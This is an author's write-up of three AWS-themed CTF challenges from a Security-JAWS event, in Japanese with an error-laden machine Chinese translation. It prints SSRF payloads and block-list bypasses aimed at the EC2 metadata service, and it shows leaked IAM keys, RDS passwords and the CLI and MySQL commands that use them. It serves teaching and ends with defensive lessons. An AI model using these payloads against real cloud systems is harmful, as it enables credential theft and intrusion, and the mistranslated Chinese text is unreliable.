Security-JAWS DAYS 参加記&CTF作問者解説

WriteUp 11个月前 admin
256 0 0

1. 始めに 1. 入门

こんにちは、morioka12 です。 你好,我是盛冈12。

本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と CTF デイで AWS セキュリティに因んで作成した CTF の問題解説について紹介します。
在本文中,我们将介绍 8 月 26 日和 27 日举行的安全 – JAWS DAYS 的参与情况,以及在 CTF 日为纪念 AWS 安全而创建的 CTF 的问题解释。

2. Security-JAWS DAYS 2. 安全 – 大白鲨日

Security-JAWS DAYS とは、Security-JAWS が第30回を記念回して開催された2日間のイベントです。
Security-JAWS DAYS是Security-JAWS为庆祝其成立30周年而举办的为期两天的活动。

Day1 はカンファレンスデイで、Day2 は CTF デイとなっていました。
第一天是会议日,第二天是周大福日。

僕は、Day1 も Day2 も現地の AWS Japan 目黒オフィスで参加させていただきました。
我在当地的 AWS 日本目黑办事处参加了第 1 天和第 2 天。

Day2 の方では、夜の懇親会にも参加させていただき、普段は交流することがなかった方々ともお話しすることができ、大変ありがとうございました。
在第2天,我能够参加晚上的社交聚会,并与我通常不互动的人交谈,所以非常感谢。

s-jaws.doorkeeper.jp

s-jaws.doorkeeper.jp

僕は過去に、Security-JAWS #25 と JAWS DAYS 2022 の2つの JAWS イベントで登壇させていただいていました。
过去,我曾在两次 JAWS 活动中发言,安全 – JAWS #25 和 JAWS DAYS 2022。

  • 2022/05/30: Security-JAWS #25
    2022/05/30: 安全-JAWS #25

    • AWS Lambdaにおけるセキュリティリスクと対策
      AWS Lambda 中的安全风险和对策
  • 2022/10/08: JAWS DAYS 2022
    2022/10/08: 2022年大白鲨日

    • AWSサービスにおけるサーバーレス環境のセキュリティリスク
      AWS 服务中无服务器环境的安全风险

今回の記念回である30回目に運営側として関われて、とても光栄でした。ありがとうございました! (そしておめでとうございます!!)
作为管理层的一员,我非常荣幸能够参与这次纪念活动30周年。 谢谢! (恭喜! )

また、Security-JAWS の T シャツとパーカーも頂けて、とても着心地の良いパーカーでした。
我还买了一件安全-JAWS T恤和连帽衫,这是一件非常舒适的连帽衫。

dev.classmethod.jp

3. CTF 作問 3. CTF 作问

今回の CTF は、AWS サービスに特化した CTF 環境を用意して、AWS セキュリティの問題に取り組んでいただきました。
此 CTF 准备了一个专门用于 AWS 服务的 CTF 环境,以解决 AWS 安全问题。

作問メンバーは、@tigerszk さんと @328__ さんと @a_zara_n さんと僕(@scgajge12)の4名で担当しました。
有四名成员:@tigerszk先生,@328__先生,@a_zara_n先生和我自己(@scgajge12)。

改めまして、今回一緒に作問メンバーとしてとても楽しく参加できました。ありがとうございました!
再一次,我作为问题的一员一起参与其中,玩得很开心。 谢谢!

僕は主に Amazon EC2 と SSRF (Server Side Request Forgery)をテーマに3問作成しました。
我创建了三个问题,主要围绕 Amazon EC2 和 SSRF(服务器端请求伪造)的主题。

また、今回は Security-JAWS のイベントとして開催されて、参加者は主に AWS を普段使っている開発者などを想定していたため、Burp Suite などのを使わずに解けて、AWS CLI などを用いる方向性の問題を取り入れました。
此外,这次是作为 Security-JAWS 活动举办的,参与者主要假设是每天使用 AWS 的开发人员,因此我们在不使用 Burp Suite 的情况下解决了它,并使用 AWS CLI 合并了方向问题。

当日のライブ配信の動画は、以下で公開されています。
下面提供了当天直播的视频。

youtu.be

4. 問題解説 4. 问题解说

以下が出題した問題の難易度・タイトル・使用した AWS サービスになります。
以下是用于给定问题的难度级别、标题和 AWS 服务。

4.1 [Easy] Get Provision
4.1 [轻松] 获取预配

問題文 问题文

EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ!
从 EC2 上运行的 Web 应用程序获取实例预置数据!

解説

本問題は、EC2 上の Web アプリケーションにおいて SSRF 攻撃を行うことで、メタデータサーバーのユーザーデータから機微な情報を取得する問題でした。
此问题是通过在 EC2 上的 Web 应用程序中执行 SSRF 攻击从元数据服务器的用户数据中获取敏感信息的问题。

問題にアクセスすると、脆弱とあるオンラインプロキシサービスが表示されて、URL の入力欄があります。
当您访问该问题时,您将看到一个易受攻击的在线代理服务,并且具有 URL 字段。

Security-JAWS DAYS 参加記&CTF作問者解説

テストで https://example.com と入力すると、以下のように指定した先の情報が表示されました。
当我输入测试时 https://example.com ,显示了指定如下的目标信息。

Security-JAWS DAYS 参加記&CTF作問者解説

ブラウザの DevTools でコードを見てみると、以下のように iframe タグで指定した URL が src 属性に指定されて読み込まれていました。
当我查看浏览器的 DevTools 中的代码时,它加载了在 src 属性中指定的 iframe 标记中指定的 URL,如下所示。

<iframe src="https://example.com" width="600" height="200"></iframe>

試しにメタデータサーバー先の http://169.254.169.254 を指定してみると、以下のようにアクセスできたことが確認できました。
当我 http://169.254.169.254 尝试指定元数据服务器目标时,我能够确认我能够按如下方式访问它。

1.0 2007-01-19 2007-03-01 2007-08-29 2007-10-10 2007-12-15 2008-02-01 2008-09-01 2009-04-04 2011-01-01 2011-05-01 2012-01-12 2014-02-25 2014-11-05 2015-10-20 2016-04-19 2016-06-30 2016-09-02 2018-03-28 2018-08-17 2018-09-24 2019-10-01 2020-10-27 2021-01-03 2021-03-23 2021-07-15 2022-07-09 2022-09-24 latest

EC2 のインスタンスメタデータサーバーには、インスタンスに関するデータや設定などが含まれています。
EC2 实例的元数据服务器包含有关实例的数据和设置。

ここからメタデータサーバーのデータにアクセスして情報収集すると、インスタンス起動時に実行されるコマンドが /latest/user-data に格納されていて、中身を得ることができました。
从这里,当我访问元数据服务器数据并收集信息时,要在实例启动时执行的命令被 /latest/user-data 存储在其中,并且我能够获取内容。

ペイロード  有效载荷

  • http://169.254.169.254/latest/user-data
#!/usr/bin/bash
sudo apt -y update

sudo mkdir /home/ubuntu/.flag

sudo echo "SJAWS{Get_1nst@nce_U2er_dat@!}" >> /home/ubuntu/.flag/secret

その中に Flag を直接書き込んでいるのが確認でき、そのまま Flag を取得することができました。
我能够看到旗帜是直接写进去的,我能够得到旗帜。

Security-JAWS DAYS 参加記&CTF作問者解説

Flag: SJAWS{Get_1nst@nce_U2er_dat@!}
旗帜: SJAWS{Get_1nst@nce_U2er_dat@!}

ポイント 

この問題では、SSRF でクレデンシャルを取得するためによく狙う /latest/meta-data/iam/security-credentials ではなく、/latest/user-data のユーザーデータに焦点を当てました。
此问题侧重于用户数据 /latest/meta-data/iam/security-credentials /latest/user-data ,而不是 SSRF 通常旨在获取凭据。

実際にも機微な情報を Bash スクリプトに含めた状態でインスタンスのユーザーデータに含まれていた事例もあったりするため、今回はこのような形で取り入れました。 (5.2 EC2 IMDSv2 における SSRF の事例で紹介します)
实际上,在某些情况下,敏感信息以Bash脚本的形式包含在实例的用户数据中,因此这次我们以这种方式合并了它。 (5.2 EC2 IMDSv2中的SSRF案例研究)

教訓 教训

4.2 [Medium] Get Access Key

問題文 问题文

EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!
从 EC2 上运行的稍微更安全的 Web 应用程序获取 IAM 访问密钥,并从您的数据库中获取敏感信息!

解説

本問題は、先ほどの問題より少しセキュリティ的に対策された Web アプリケーションに対して、SSRF 攻撃を行うことでメタデータサーバーからクレデンシャルを取得する問題でした。
此问题是通过对比前一个问题稍微安全的 Web 应用程序执行 SSRF 攻击来从元数据服务器获取凭据的问题。

問題にアクセスすると、先ほどとほぼ同じ見た目をしているオンラインプロキシサービスが表示されて、URL の入力欄があります。
当您访问该问题时,您将看到一个看起来与以前几乎相同的在线代理服务,并且有一个 URL 字段。

Security-JAWS DAYS 参加記&CTF作問者解説

先ほどと同じように http://169.254.169.254 と入力するとフロントエンド側で弾かれました。
当我输入与以前相同的 http://169.254.169.254 内容时,它是在前端播放的。

Security-JAWS DAYS 参加記&CTF作問者解説

よく見ると「URL (指定: https)」という記載があり、 DevTools でコードを見てみると以下のように input タグで正規表現で制限されていました。
如果你仔细观察,有一个“ URL (指定: https) ”的描述,当你查看 DevTools 中的代码时,它受到带有输入标记的正则表达式的限制,如下所示。

<input type="url" size="70" name="url" value="" placeholder="https://example.com/" pattern="https://.+">

メタデータサーバーは http のみのため、これを回避する必要があります。
应避免这种情况,因为元数据服务器 http 只是 .

回避の方法としてはいくつかありますが、簡単なのは DevTools で直接 pattern を削除することで、この制限を回避することが可能です。
有几种方法可以解决它,但最简单的方法是 pattern 直接在 DevTools 中删除它。

しかし、次は以下のようにブラックリストに当てはまり、リクエストがブロックされました。
但是,以下内容被黑名单击中,请求被阻止。

Blocked: 169.254.169.254

*Block the following hostnames.
・169.254.169.254
・2852039166
・0xA9.0xFE.0xA9.0xFE
・0xA9FEA9FE
・0251.0376.0251.0376
・0251.00376.000251.0000376
・0251.254.169.254

Security-JAWS DAYS 参加記&CTF作問者解説

ブラックリストには、主に 169.254.169.254 の IPv4 が含まれています。
169.254.169.254 黑名单主要包括IPv4。

このバックエンド側の入力制限を回避する方法しては、169.254.169.254 の IPv6 で指定することなどで回避することが可能です。
通过在 169.254.169.254 中指定 IPv6,可以规避此后端输入限制。

ちなみに、Cloud における SSRF のペイロードは、以下の GitHub によくまとまってます。
顺便说一下,云中的SSRF有效载荷在下面的GitHub上得到了很好的收集。

今回ブラックリストを回避するドメインとしては、以下のようなドメインメタデータサーバーにアクセスすることが可能でした。
这一次,作为绕过黑名单的域,可以访问以下域中的元数据服务器。

  • http://[::ffff:a9fe:a9fe]
  • http://[0:0:0:0:0:ffff:a9fe:a9fe]

また、今回は主な IPv4 をブロックするようにしたため、解説では対比するように IPv6 で回避することができると紹介しました。
此外,由于我们这次试图阻止主IPv4,因此我们在解释中介绍了可以避免IPv6的对比。

ですが他のも回避する方法は様々あり、その辺は参加者の方にぜひ色々と試してもらいたいと思い、実際に解説中に色んなペイロードで成功したと Slack でワイワイ流れていたので、僕としても想定通りの反応があって良かったと思いました。
但是,有多种方法可以避免其他事情,我希望参与者尝试该领域的各种事情,在解释过程中,我实际上是在 Slack 中聊天,我已经成功使用了各种有效载荷,所以我很高兴反应符合预期。

Slack より 从松弛

短縮URLで回避しました

http://025177524776 で回避しました

8進数でやりました

169.254.169.254.nip.io でやりました

blocklistにあったやつを組み合わせて、8進数と10進数のmixで回避しました!
0251.254.000251.0000376

そこからメタデータサーバーのデータにアクセスして情報収集すると、/latest/meta-data/iam/security-credentials にアクセスすることで EC2 に付与された IAM Role 名を取得し、ec2_role にアクセスすることでクレデンシャルを得ることができました。
从那里,当我访问元数据服务器数据并收集信息时,我能够通过访问 获取赋予 EC2 的 IAM 角色名称,并通过 ec2_role 访问 获取凭证 /latest/meta-data/iam/security-credentials 。

ペイロード  有效载荷

  • http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
  • http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
{
    "Code": "Success",
    "LastUpdated": "2023-08-25T12:53:26Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIAQZ2IU22WLKO6ZVWV",
    "SecretAccessKey": "YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss",
    "Token": "IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=",
    "Expiration": "2023-08-25T19:03:41Z"
}

Security-JAWS DAYS 参加記&CTF作問者解説

そして、この入手した IAM をローカル PC の ~/.aws/credentials と ~/.aws/config に設定します。(今回は profile を ec2_role とします)
然后将 ~/.aws/config 此获取的 IAM 设置为本地 PC 并 ~/.aws/credentials 在本地 PC 上设置。 (在这种情况下, ec2_role 让我们使用配置文件)

注意としては、IAM Role をクレデンシャルに設定する場合、aws_access_key_id と aws_secret_access_key と aws_session_token の3つを設定する必要性があります。
请注意,当您将 IAM 角色配置为凭证时,您必须配置三项 aws_session_token :和 aws_access_key_id aws_secret_access_key 和 。

$ cat ~/.aws/credentials
[ec2_role]
aws_access_key_id = ASIAQZ2IU22WLKO6ZVWV
aws_secret_access_key = YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss
aws_session_token = IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=

また、~/.aws/config のリージョンの設定は、EC2 のリージョンを確認して同一のリージョンに設定しておきます。
此外,要设置 ~/.aws/config 的区域,请检查 EC2 区域并将其设置为同一区域。

$ nslookup gakweb.scjdaysctf2023.net 
Server:     2001:268:fd07:4::1
Address:    2001:268:fd07:4::1#53

Non-authoritative answer:
Name:   gakweb.scjdaysctf2023.net
Address: 35.76.58.200

$ nslookup 35.76.58.200
Server:     2001:268:fd07:4::1
Address:    2001:268:fd07:4::1#53

Non-authoritative answer:
200.58.76.35.in-addr.arpa   name = ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com.

Authoritative answers can be found from:

ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com より リージョンが ap-northeast-1 とわかりました。
ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com 我发现 ap-northeast-1 该地区更多。

そのため、以下のように設定しておきます。 因此,请按如下方式进行设置。

$ cat ~/.aws/config 
[profile ec2_role]
region = ap-northeast-1
output = json

ローカル環境にクレデンシャルを設定できたら、以下のように設定したクレデンシャルが有効に使用できるかを AWS CLI のコマンドで確認します。
在本地环境中配置凭证后,使用 AWS CLI 命令验证您配置的凭证是否可以有效使用。

$ aws sts get-caller-identity --profile ec2_role
{
    "UserId": "AROAQZ2IU22WD6VC424J3:i-03247babbfc0cc2c7",
    "Account": "055450064556",
    "Arn": "arn:aws:sts::055450064556:assumed-role/ec2_role/i-03247babbfc0cc2c7"
}

クレデンシャルが有効に使えるため、Web アプリケーションにあるコメントより、DynamoDB にアクセスします。
由于凭证有效,因此您可以从 Web 应用程序中的注释访问 DynamoDB。

また、実際のペネトレーションテストなどで IAM を入手できた場合は、有効な権限を列挙するのに以下のようなツールを活用したりします。
此外,如果可以通过实际渗透测试等方式获取 IAM,则可以使用以下工具来枚举有效权限。

今回は、難易度調整から使われているだろうサービスをヒントとして記載したため、以下のように AWS CLI を用いて DynamoDB にアクセスします。
在本文中,我们列出了难度调整中可能使用的服务作为提示,因此我们将使用 AWS CLI 访问 DynamoDB,如下所示。

$ aws dynamodb list-tables --profile ec2_role   
{
    "TableNames": [
        "private-ctfdb"
    ]
}

次に private-ctfdb のテーブル内の項目をスキャンして中身を表示します。
private-ctfdb 然后,它会扫描表中的项目以查看内容。

$ aws dynamodb scan --table-name private-ctfdb --profile ec2_role
{
    "Items": [
        {
            "flag": {
                "S": "SJAWS{Get_2ecr@t_1am_ke9!!}"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}

すると、機微な情報として Flag を得ることができました。
我们能够获得一个标志作为敏感信息。

Flag: SJAWS{Get_2ecr@t_1am_ke9!!}

ポイント 

この問題では、主に以下の要素を組み込んで、入手したクレデンシャルを悪用して、データベースである DynamoDB から機微な情報を取得するシナリオにしました。
在本期中,我们主要将以下元素合并到利用获取的凭证从数据库 DynamoDB 检索敏感信息的场景中:

  • 不適切な入力の確認 (CWE-20 输入检查不正确 ( CWE-20)
    • フロントエンド側の入力制限の回避 绕过前端输入限制
    • バックエンド側の入力制限の回避 规避后端输入限制
  • Server-Side Request Forgery (CWE-918)

教訓 教训

  • Web アプリケーション自体のセキュリティ(脆弱性)対策をする
    针对 Web 应用程序本身的安全性(漏洞)采取措施

    • フロントエンド側で入力制限をするだけでなく、適切にバックエンド側で入力制限を行うようにする
      除了限制前端的输入外,请确保在后端适当限制输入。
    • 外部から任意の URL 先を受け取ってその先にリクエストする場合、可能なら想定するリクエスト先をホワイトリストで管理する (IPv4 でも IPv6 でも)
      当从外部接收任意 URL 目标并将其请求到该目标时,如果可能,请使用白名单(无论是 IPv4 还是 IPv6)管理预期目标
  • EC2 に付与する IAM Role の権限を必要最低限にする
    向 EC2 授予 IAM 角色权限到所需的最低权限

4.3 [Hard] Secure Request Forwarder

問題文 问题文

EC2 上で動くセキュアそうな Web アプリケーションがある。調査して情報収集して侵入してみよう!  ソースコードの配布あり (main.go)
您有一个在 EC2 上运行的安全 Web 应用程序。 让我们调查,收集信息并闯入! 可用的源代码(main.go)

main.go


解説

本問題は、EC2 上の Web アプリケーションにおける SSRF 攻撃によって localhost のアクセス制限を回避して、RDS のクレデンシャルを取得し、RDS から認証情報を取得して別ポートで動いているプライベートな Admin Site にログインする問題でした。
此问题是由 EC2 上的 Web 应用程序中的 SSRF 攻击引起的,该攻击绕过本地主机上的访问限制、获取 RDS 凭证、从 RDS 获取凭证以及登录到在不同端口上运行的私有管理站点。

問題にアクセスすると、Secure Request Forwarder が表示されて、URL の入力欄があります。
当您访问该问题时,将显示安全请求转发器,其中包含 URL 的字段。

Security-JAWS DAYS 参加記&CTF作問者解説

また、/admin ページに Admin Page があるようですが、アクセス制限によってアクセスできませんでした。
此外,该 /admin 页面似乎有一个管理页面,但由于访问限制,我无法访问它。

Access Denied Only allow access from 127.0.0.1

Security-JAWS DAYS 参加記&CTF作問者解説

まずはテストで https://example.com を指定すると、以下のように画面が表示されました。
首先,当我在测试中指定时 https://example.com ,屏幕显示如下。

Security-JAWS DAYS 参加記&CTF作問者解説

次に問題「Get Provision」のような単純なペイロードを指定してみると、以下のようにブロックされました。
接下来,当我尝试指定一个简单的有效负载(如“获取预配”)时,它被阻止如下:

  • http://169.254.169.254

IP address is blacklisted. (169.254.169.254, 0.0.0.0)

Security-JAWS DAYS 参加記&CTF作問者解説

どうやらブラックリストで 169.254.169.254 と 0.0.0.0 の入力を制限しているようです。
显然,在黑名单中,您正在限制 0.0.0.0 和 的输入 169.254.169.254 。

次に問題「Get Access Key」のようなペイロードを指定してみると、先ほどと同様にブロックされました。
接下来,当我指定像问题“获取访问密钥”这样的有效负载时,它像以前一样被阻止了。

  • http://[::ffff:a9fe:a9fe]

IP address is blacklisted. (169.254.169.254, 0.0.0.0)

色々とメタデータサーバーを示すドメインを指定してみるとブロックされるため、最終的な IP アドレスとして、169.254.169.254 をブロックしてそうと想定できます。
如果指定指示元数据服务器的各种域,则它们将被阻止,因此您可以假定 169.254.169.254 将它们作为最终 IP 地址阻止。

次に /admin ページに SSRF 攻撃によってアクセスできるかを試します。
接下来,尝试查看 SSRF 攻击是否可以访问该 /admin 页面。

以下のようなローカルを示す IP アドレスを指定すると、以下のようにブロックされました。
指定类似于以下内容的本地 IP 地址被阻止,如下所示:

  • http://localhost/admin
  • http://127.0.0.1/admin
  • http://127.0.0.2/admin

IP address is blacked. (127.0.0.0 – 127.255.255.255)

Security-JAWS DAYS 参加記&CTF作問者解説

先ほど紹介した GitHub を参考にして http://localhost/admin にアクセスできるように回避方法を試します。
让我们尝试使用前面提到的 GitHub 进行访问 http://localhost/admin 的解决方法。

すると、先ほどの 169.254.169.254 と同様に最終的な IP アドレスを判断して、127 から始まる IP アドレスをブロックしてそうを想定できます。
然后,您可以像以前一样确定最终的 IP 地址,并通过阻止以 开头的 IP 地址 169.254.169.254 127 来假定。

しかし、以下の IP アドレスの場合、どちらの入力制限も回避することが可能です。
但是,对于以下 IP 地址,可以解决这两个输入限制:

ペイロード  有效载荷

  • Bypass localhost with [::]
    使用 [::] 绕过本地主机

    • http://[::]/admin

Security-JAWS DAYS 参加記&CTF作問者解説

これにより、/admin ページの Admin Page に SSRF 攻撃によってアクセスすることができました。
这允许 /admin 通过 SSRF 攻击访问页面的管理页面。

アクセスしてみると、以下のコメントがあり、動作テストで指定できることがわかりました。
当我访问它时,我发现下面有一个注释,可以在行为测试中指定。

「/admin?param=[URL]」で動作テスト可能
可以使用“/admin?param=[URL]”测试操作

試しに以下のペイロードをそのまま指定してみると、http://localhost/ から http://localhost/admin を通してメタデータサーバーにアクセスできていることが確認できます。
如果尝试按原样指定以下有效负载,则可以确认可以通过 访问 http://localhost/ 元数据服务器 http://localhost/admin 。

ペイロード

  • http://[::]/admin?param=http://169.254.169.254

Security-JAWS DAYS 参加記&CTF作問者解説

ここから問題「Get Provision」のようにメタデータサーバーから情報収集すると、ユーザデータの /latest/user-data から RDS のクレデンシャルを取得することができました。

ペイロード

  • http://[::]/admin?param=http://169.254.169.254/latest/user-data
#!/usr/bin/bash
sudo apt -y update

sudo mkdir /home/ubuntu/.secret

sudo echo "database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com" >> /home/ubuntu/.secret/db_host
sudo echo "exporter" >> /home/ubuntu/.secret/db_user
sudo echo "TF6zZaECv7f5" >> /home/ubuntu/.secret/db_pass

Security-JAWS DAYS 参加記&CTF作問者解説

これらの情報より、RDS にログインすることが試せます。

  • Host: database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com
  • User: exporter
  • Pass: TF6zZaECv7f5

MySQL のコマンドを使用する場合は、ローカル PC で行うか、 AWS CloudShell で行うことも可能です。

以下のように MySQL で RDS のインスタンスにログインを試してみると、ログインすることができました。

$ mysql -h database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com -P 3306 -u exporter -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 8.0.33 Source distribution

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

今回の場合、 RDS の設定が以下のようになっていたため、入手した認証情報を元に RDS のインスタンスにログインすることが可能でした。
在这种情况下,由于RDS设置如下,因此可以根据获得的身份验证信息登录RDS实例。

  • パブリックアクセス可能:あり 公共可访问:是
  • データベース認証:パスワード認証 数据库身份验证:密码身份验证

Security-JAWS DAYS 参加記&CTF作問者解説

Security-JAWS DAYS 参加記&CTF作問者解説

このようにペネトレーションテストのような、入手した認証情報を悪用してさらにクラウド環境にある AWS リソースに対して有効な権限の範囲内で深ぼって調査する要素を取り入れました。
通过这种方式,我们引入了渗透测试等元素,这些元素利用获得的凭证在云环境中对 AWS 资源的有效权限范围内进一步调查。

ここからデータベースの中を調べてみます。 让我们从这里看一下数据库内部。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| Users              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.02 sec)

mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| UserInfo        |
+-----------------+
1 row in set (0.01 sec)

mysql> select * from UserInfo;
+----+--------------------------+--------------+
| id | email                    | password     |
+----+--------------------------+--------------+
|  1 | [email protected]  | CQbpUKC5vX7k |
|  2 | adminsite@localhost:8444 | dummy        |
+----+--------------------------+--------------+
2 rows in set (0.01 sec)

RDS 内のデータベースを調査することで、以下のような情報を得ることができました。

  • 何かのユーザー情報
  • ローカル環境とポート番号
    • localhost:8444

試しに以下にアクセスすると、ポートが空いていてログイン画面にアクセスすることができました。

  • http://srfweb.scjdaysctf2023.net:8444/

Security-JAWS DAYS 参加記&CTF作問者解説

そこに先ほどのユーザー情報を使ってログインしてみます。

すると、最終的にログインでき、 Flag を得ることができました。

Security-JAWS DAYS 参加記&CTF作問者解説

Flag: SJAWS{N0t_&ecure_g@t_1am!!!}

ポイント

この問題では、SSRF によってローカルホストのアクセス制限を回避して、入手した RDS の認証情報を悪用して MySQL にログインして機微な情報を取得して悪用するシナリオにしました。

他の問題では、IAM を入手して悪用する系の問題が多くあったため、今回の問題は別口の方向性を取り入れました。

今回は難易度調整として、データベースにlocalhost:8444 という文字列で別ポートがありそうなヒント(誘導)なことを記載しました。

しかし、実際はこのようなデータベースに別ポートを示すようなデータはあまり入っていないかと思います。

実際に SSRF が可能な Web サイトがあった場合は、Blind SSRF による Local Port Scan で判断することが可能です。

ローカル環境に対して開いているポート番号を localhost:<Port> で列挙して、レスポンス結果やレスポンスの返ってくる時間の差によって判断します。

cyberweapons.medium.com

教訓

  • Web アプリケーション自体のセキュリティ(脆弱性)対策をする
    • フロントエンド側で入力制限をするだけでなく、適切にバックエンド側で入力制限を行うようにする
    • 外部から任意の URL 先を受け取ってその先にリクエストする場合、可能なら想定するリクエスト先をホワイトリストで管理する
  • インスタンス起動時に実行される「ユーザデータ」には、機微な情報の出力を含めないようにする
  • RDS などの機微な情報を保持するインスタンスは、公開状態にしない

5. その他

5.1 EC2 における脆弱性事例

イベントの際に別途実際にあった EC2 の SSRF 攻撃についても紹介させていただきました。

それらを今回、以下のブログに簡単に記載しました。こちらもぜひご覧ください。

scgajge12.hatenablog.com

5.2 EC2 IMDSv2 における SSRF の事例

IMDSv2 (Instance Metadata Service version 2)は、AWS の EC2 インスタンス上で稼働するメタデータサービスのバージョン2であり、セキュリティの向上を図ったものです。(2020年6月30日に発表されたものです)

従来の IMDSv1 よりもセキュリティが強化されており、SSRF 攻撃から保護するための対策を提供しています。

